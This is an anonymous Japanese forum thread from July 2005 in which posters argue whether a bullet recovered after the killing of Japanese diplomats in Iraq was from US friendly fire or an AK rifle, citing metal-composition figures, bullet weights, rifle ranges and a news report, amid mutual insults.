殺傷能力は１０００超えても余裕だよね。ちなみに誤射さんが言ってる事もわからんのではなんだよ。
「米軍の誤射でない！」と１００パーセント言い切るのは不可能。
けれど、米軍の誤射でないと断言できない＝米軍誤射につながるのは変。
弾からみても米軍の可能性はきわめて低い。

**国連な成しさん** · 05/07/02 22:58

>>147
密度が大体分かってるから、体積から弾頭重量がわかるだろーに。
いいから写真くれよ。持ってるんだろ？

**国連な成しさん** · 05/07/02 22:58

>>146
>分析結果発表で「ＡＫに一番近い」とプロがいってんだからそれを信じるしかない。
だから、そうなるのを見越して発表したら、お前みたいなﾔﾂが引っかかるのよ
>ちなみにガンマニアから言わせてもらうと東側の弾と西側の弾は全然違って当たり前。
それは当たり前
で、見た目で判断できるかい？
>それに見分けがつかないほどいっしょだったらいままで弾丸分析なんてできない
逆だろ。見た目だけで成分の見分けが出来るなら、弾丸分析なんて要らない

**国連な成しさん** · 05/07/02 23:00

>理系なら、他の成分表も出して、その上で一致するものを提示するんだよ
だからいってるでしょ？成分表やデータベースを見て比較したんだろうって？
第一、新聞発表レベルで一覧表をのせるの？
それにあなたは「ＮＡＴＯ弾との比較をやってない」みたいなとんちんかんなこと言ってたけど、
私の分析方法が理解できていれば一つ一つとの分析じゃなくて一番近いものをあてはめるっていう方法は理解できていると思うんですが・・・。

**国連な成しさん** · 05/07/02 23:04

>だから、そうなるのを見越して発表したら、お前みたいなﾔﾂが引っかかるのよ
お前いいかげんにしろよ？見越して発表したという根拠は？また根拠なしの陰謀論か？

まさか君が言いたいのは分析結果が信用できないってことか？
そうだとしたらソースなんてすべて意味がなくなる。
「AKに近い」というのがうそだったとでも？
陰謀厨にはソースなんていらないんだろうけどね。

**国連な成しさん** · 05/07/02 23:04

>>150
>いいから写真くれよ
ん？お前の持ってる銃弾で比べてみろよ
カートリッジから外すの忘れるなよ

**国連な成しさん** · 05/07/02 23:06

>>152
>だからいってるでしょ？成分表やデータベースを見て比較したんだろうって？
そこだよ。それは君の勝手な妄想だろ
>第一、新聞発表レベルで一覧表をのせるの？
あ？検査結果を公表したのは外交小委員会だろ。
委員会に資料を持ってこない方がおかしいだろ

**国連な成しさん** · 05/07/02 23:07

>ちなみにガンマニアから言わせてもらうと東側の弾と西側の弾は全然違って当たり前。
っていうのは成分のことを言っているんじゃないんですか？見た目じゃなくて・・・。

それとなにひとつソースを信用しないのでは議論になりませんよ。誤射さん・・・。
弾丸の成分分析をするのにＮＡＴＯ弾がリストに入っていないのは考えにくいですし、極論ですが、入っていないとしてもＡＫに近いという結果がでたことは、ＡＫの弾だとほぼ断定できるということで間違いないでしょう。

**国連な成しさん** · 05/07/02 23:10

>そこだよ。それは君の勝手な妄想だろ
成分分析の一般的な方法を述べて「妄想」だといわれたらどーしよもないです・・・。
ということは誤射さんはソースの発表そのものを疑っているという認識でよろしいんですね？

**国連な成しさん** · 05/07/02 23:12

>>157
>成分分析の一般的な方法を述べて「妄想」だといわれたらどーしよもないです
その一般的な方法が行われていない疑惑があるんだけど
政治的配慮ってﾔﾂで

**国連な成しさん** · 05/07/02 23:16

どうせ誤射厨のソースはイスラムメモか脳内でしょ。

**国連な成しさん** · 05/07/02 23:17

>その一般的な方法が行われていない疑惑があるんだけど
>政治的配慮ってﾔﾂで
・・・・・・・・・・。もういいです。なにもかも陰謀論で片付けられたら意味が無いです。
とりあえずはその場にあるソースでなんとかするのが議論です。
残念ながらそんな考え方では私がなにをソースにあげようが「政治的な配慮」とか「陰謀」で片付けられるでしょう。
さようなら。

**国連な成しさん** · 05/07/02 23:19

>>148
>１０００メートル程度の長距離
確認した
俺が間違ってた
800m。三脚有りで1800m
でもさ
ttp://www.logicsouth.com/~lcoble/dir5/ak47.txt
x39も400mなのは良いとして、最大射程2000m...

**国連な成しさん** · 05/07/02 23:21

あーあ帰られちゃった。
せっかくひさしぶりに構ってもらえたのにね、誤射。

**国連な成しさん** · 05/07/02 23:23

>>161
角度45ﾟでな。

**国連な成しさん** · 05/07/02 23:24

>>162
>あーあ帰られちゃった。
厨房相手はまじ疲れる

**国連な成しさん** · 05/07/02 23:26

大卒で就職できない人が相手を厨呼ばわりする権利はないよ。
ツギハギソース使うのもバカ晒すだけだからよしな。

**国運な成しさん** · 05/07/02 23:30

まぁどちらも議論の内容と全然関係無い無意味な中傷だけどな w
中学生にまで議論に負けて負け惜しみ言ってるｵｻ-ﾝって感じかな？

**国連な成しさん** · 05/07/02 23:31

33才

**国連な成しさん** · 05/07/02 23:33

>>163
>角度45ﾟ
それはどれも同じ条件だが

**国連な成しさん** · 05/07/02 23:34

>>166
>議論
どこが？

**国連な成しさん** · 05/07/02 23:47

>dJcZLtKM

あんたはすべてのソースに意味がないといったも同然なんだぞ。
なんでも政治的配慮で片付けてしまうんじゃ議論にならんぞ(藁)
陰謀厨が嫌われる理由がわかってないな。

**国連な成しさん** · 05/07/03 00:06

このスレは保存の価値ありだな

**国連な成しさん** · 05/07/03 00:24

>>11はdJcZLtKMさんですか？

**国連な成しさん** · 05/07/03 00:31

イラク系スイス人が死亡　バグダッド、米兵誤射か
http://headlines.yahoo.co.jp/hl?a=20050702-00000170-kyodo-int

　【ジュネーブ２日共同】スイス紙トリビューン・ド・ジュネーブ（電子版）は２日、
バグダッドで米兵の誤射とみられる事故があり、イラク系スイス人が死亡したと
報じた。
　同紙によると、スイス外務省も２日までに「イラク生まれでスイスの市民権を
持つ４９歳の男性」が死亡したことは確認したが、詳しい身元や死亡時の状況
には言及していない。同紙も男性の死亡日時や事故の詳しい状況は不明だ
としている。
　男性はクルド人で、ジュネーブの国際高等研究大学院で博士号を取得、
クルド人問題の研究などをしていたという。
（共同通信） - 7月2日20時34分更新

**国連な成しさん** · 05/07/03 01:35

警察長警備局長の発言より
発見された銃弾の成分分析
被甲部分
銅: 89.78%, 亜鉛: 10.22%
銅: 89.15%, 亜鉛: 10.85%
弾心
鉛: 90.14%, アンチモン 9.86%
鉛: 98.30%, アンチモン 1.70%
ttp://wakahide.com/diplomat/honpen.html
資料は以下より
ttp://wakahide.com/diplomat.html
変形した弾丸写真もありまっせ

NATO弾の被甲部は....
90% copper, 10% zinc
ttp://www.inetres.com/gp/military/infantry/rifle/762mm_ammo.html
あれ、矛盾しないよ。
Lead Coreにアンチモン入れて硬くするのは常識（比率は不明）
9mmや散弾が92:8の比率であることから、検査結果のばらつきと合わせれば、やはり矛盾しないねえ

ちなみに見つかった弾丸は2.54g ttp://wakahide.com/diplomat/04_shiryo2.pdfの24頁参照
NATOが9.72g (Lead-Antimony Coreは9.65g~9.45g ttp://www.armslocker.com/forums/printthread.php?t=31057)で、
AKが7.9gなんだけど重さで分かるって言ってたﾔﾂさ、無理だな
比重も出してないって

**ID： dJcZLtKM >>174** · 05/07/03 01:36

やべ
下げちゃった

**国連な成しさん** · 05/07/03 01:37

そろそろ君もｿｰｽ出しなよ
>>171よ、ある意味ナイスフォロー

**国連な成しさん** · 05/07/03 01:39

なんだかわからんけど、どうもです
>>11はあなたですか？

**国連な成しさん** · 05/07/03 01:39

>>174で書いてることはさ、過去ｽﾚ、関連ｽﾚで既出なんだけどさ
よく読んでね

**国連な成しさん** · 05/07/03 01:39

>>177
>>174の検証宜しく

**177** · 05/07/03 01:40

ってID変わってた。
>>171です。　俺は銃は素人だから大差ないけど。

**国連な成しさん** · 05/07/03 01:42

>>177
いや。なんで？
>>174はこのｽﾚの後半にもう一回くらい貼りますので

**177** · 05/07/03 01:45

>>181
いやなんとなく文体が似てると思ったので

**国連な成しさん** · 05/07/03 01:46

写真どこ？

**国連な成しさん** · 05/07/03 01:51

>>160
政治的配慮っていろいろなところで出てくるのよ
年金関係でも、本来、年金法審議時に公表されなければいけない
のに年金法の強行採決の１４日前にまとめられて判明していたのにも関わらず、坂口
厚生労働大臣と厚生労働官僚が隠していたことが昨年の６月２２日に判明したんだけど
これも、政治的配慮ってやつなんだよ

性善説ばっかりでお役人様を見ない方が良いよ

**国連な成しさん** · 05/07/03 01:52

>>183
何の？
変形した銃弾なら
ttp://wakahide.com/diplomat/04_shiryo2.pdfの24頁参照

**国連な成しさん** · 05/07/03 01:53

>>182
ここ過疎板だから案外早く見つけられると思う

**国連な成しさん** · 05/07/03 01:58

>>183
>写真どこ？
ダミーカート買ってこいよ
見れば分かる

**国連な成しさん** · 05/07/03 02:00

>>185
もっと他にもあったような気がするんだが。
写真を見た限りは先端角からいってＡＫっぽいけど。

**国連な成しさん** · 05/07/03 02:08

>>188
>他にもあったような気がする
同じ
転載だもん、多分無断の
先端角は分からんだろ

**国連な成しさん** · 05/07/03 02:10

>>189
あれが先っちょじゃない、ってことか？

**国連な成しさん** · 05/07/03 02:14

PDFは重いッス～
警察長警備局長の発言より
発見された銃弾の成分分析
被甲部分
銅: 89.78%, 亜鉛: 10.22%
銅: 89.15%, 亜鉛: 10.85%
弾心
鉛: 90.14%, アンチモン 9.86%
鉛: 98.30%, アンチモン 1.70%
これが
http://wakahide.com/diplomat/03_shiryo1.pdf
のP55(サムネイルだと59)ね

**国連な成しさん** · 05/07/03 02:24

>>191
まぁ、成分分析すればって言ってた人はナンセンスだったな。
そもそもソ連製兵器に使われる銃弾の作り方は確かドイツのが基本になってて、アメリカでも基本になってる。
軍事的歴史を考えればわかるな。
鋳造に関しては、今は世界中でほとんど同じ規格が使われてるはず。
ブレット形状や弾頭重量を鑑みた方がはっきりするだろう。
ただ一つ言わなければいけないのは、７．６２ミリＮＡＴＯだったら当然貫通するはずの場所で、貫通がみられないということだな。

**国連な成しさん** · 05/07/03 02:25

>>191
そうね
ちなみに議事録の状態の時はHTMLでした
まあ、民主党はその辺は糞ですから

外務省の報告書はPDFだった
まあ、外務省はその辺は（ry

**国連な成しさん** · 05/07/03 02:28

>>192
>７．６２ミリＮＡＴＯだったら当然貫通するはずの場所で、貫通がみられない
水平方向からの銃撃の場合は、その通り。
軽防弾車であっても、でしょ

斜め上からと言う仮定で言えば、シャーシ部で跳弾となった可能性や座面を撃ち抜いた可能性が出てくる

**国連な成しさん** · 05/07/03 02:35

>>192
もはや僕たちは目視で判断するしかありません...orz

**国連な成しさん** · 05/07/03 02:39

>>194
ところで君は誤射説を信じてるの？
それとも武装勢力が攻撃したと思う？
よくわからん、でもよし。
最初にはっきりさせておこうよ。

**国連な成しさん** · 05/07/03 02:40

治世の不安定な地域で得られる情報はすくないよね
あたりまえだけど

**国連な成しさん** · 05/07/03 02:50

>>196
文脈上、誤射厨で

**198** · 05/07/03 02:51

そういうことです

**国連な成しさん** · 05/07/03 04:49

最後レスは柚子欄よ